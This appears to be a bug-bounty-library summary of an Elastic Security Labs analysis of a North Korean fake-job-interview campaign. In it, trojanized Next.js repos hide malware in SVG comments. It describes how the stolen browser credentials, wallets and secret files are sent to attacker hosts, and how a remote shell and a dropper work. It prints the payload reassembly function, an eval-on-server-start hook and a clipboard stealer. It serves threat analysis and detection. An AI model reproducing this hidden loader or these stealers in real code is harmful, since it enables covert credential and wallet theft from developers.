# New North Korean campaign uses fake coding interviews to steal developer credentials

DPRK Contagious Interview campaign hid OTTERCOOKIE malware in SVG flag images via steganography inside fake coding-challenge repos, stealing developer credentials, wallets and files.

- Payout: Real-world hack
- Severity: high
- Program: Contagious Interview
- Analysis by: Daniel Stepanic
- Disclosed: 2026-07-18
- Write-up quality: 8/10
- Original: https://www.elastic.co/security-labs/threat-command/contagious-interview-malware-svg-steganography
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-contagious-interview-malware-svg-steganography
- Tags: area:oss domain:oss impact:ato impact:data-leak kind:incident platform:threat-intel sev:high tech:nextjs tech:nodejs technique:chained technique:source-review vuln:command-injection vuln:secrets-leak

**Target:** Trojanized Next.js e-commerce repos (server/index.js) distributed via Slack job lures
**Root cause:** Malicious Base64 fragments embedded in HTML comments of every SVG flag image are reassembled alphabetically by serverValidation.js, custom-Base64-decoded via Check(), and eval()'d on every server start, evading AV and simple detection.
**Steps:**
1. Fake recruiter 'Maxwell' posts job in Slack #jobs, moves targets to DMs, sends trojanized repo (e.g. next-ecommerce-private-main.zip).
2. Repo is a functional GoCart Next.js template with small malicious snippets and benign variable names.
3. `serverValidation.js` reads all `assets/flags/*.svg`, sorts with `localeCompare(b, "en")`, extracts `<!-- ... -->` comment contents, joins them.
4. `runServerValidation()` calls `eval(Check(validation()))` where Check() is a custom Base64 decoder (avoids atob/Buffer.from).
5. `server/index.js` calls runServerValidation() after middleware setup; `npm run dev` and `npm start` both launch it.
6. Payload spawns four modules: browser/wallet stealer, file stealer, Socket.IO RAT, clipboard stealer/Windows dropper.
**How found:** Elastic was alerted to suspicious DMs targeting their community Slack #jobs channel; they collected the trojanized repos, extracted C2s, and traced the eval chain to SVG comment steganography, then pivoted to find seven sibling repos with zero AV detections.
**Exploitation:** On server boot the eval'd payload sets process title to npm-cache, enumerates Chrome/Edge/Brave/Opera/LT Browser profiles, exfiltrates Login Data, Web Data and wallet extension LevelDB stores via multipart POST to ldb.rightwidth[.]dev (/upload, /cldbs, UA axios/1.18.1); macOS keychain login.keychain-db also stolen. File stealer runs `wmic logicaldisk get name`, globs *.env*, *.pem, *.ssh, .aws, .azure, shell histories etc. and POSTs to upload.rightwidth[.]dev/upload. Socket.IO RAT registers via /api/service/process/<uid>, logs to /api/service/makelog, executes operator shell commands via child_process.exec(). Clipboard polled every 500ms (pbpaste / Get-Clipboard) to /api/service/makelog/. Windows dropper curls hostService.txt, printSvc.txt, dhcpSvc.txt from file.rightwidth[.]dev, renames to .exe and executes.
**Escalation:** Single developer compromise yields credentials, wallets, source and shell access, enabling supply chain attacks against downstream organizations; repos pushed to GitHub spread infection further.
**Insight:** When reviewing a suspicious repo, grep for eval/Function with custom decoders and check non-code assets (SVG/PNG comments, locale files) for Base64 chunks reassembled by sort order — attackers hide payloads in files scanners ignore.

## Proof of concept (copied exactly from the original report)

**SVG steganography payload reassembly function**

```
function validation() {
 const dir = path.join(process.cwd(), "assets", "flags");
 const files = fs.readdirSync(dir)
 .filter(f => f.endsWith(".svg"))
 .sort((a, b) => a.localeCompare(b, "en")); 
 const parts = [];
 for (const f of files) {
 const raw = fs.readFileSync(path.join(dir, f), "utf8");
 const m = raw.match(/<!--\s*([\s\S]*?)\s*-->/);
 parts.push(m ? m[1].trim() : "");
 }
 return parts.join("");
}
```

**eval of decoded SVG payload on server start**

```
function runServerValidation() {
 try {
 eval(Check(validation())); 
 } catch (err) {}
}
```

**Clipboard stealer polling via pbpaste/PowerShell**

```
const getClipboard = async () => {
 try {
 if (os.platform() === "darwin") {
 return execSync("pbpaste", { encoding: "utf8" }).trim();
 }
 if (os.platform() === "win32") {
 return execSync("powershell -NoProfile -NonInteractive Get-Clipboard", {
 encoding: "utf8",
 windowsHide: true,
 }).trim();
 }
 // Linux: no implementation — returns null every poll, loop is a no-op
 return null;
 } catch (_) {
 return null;
 }
};
```

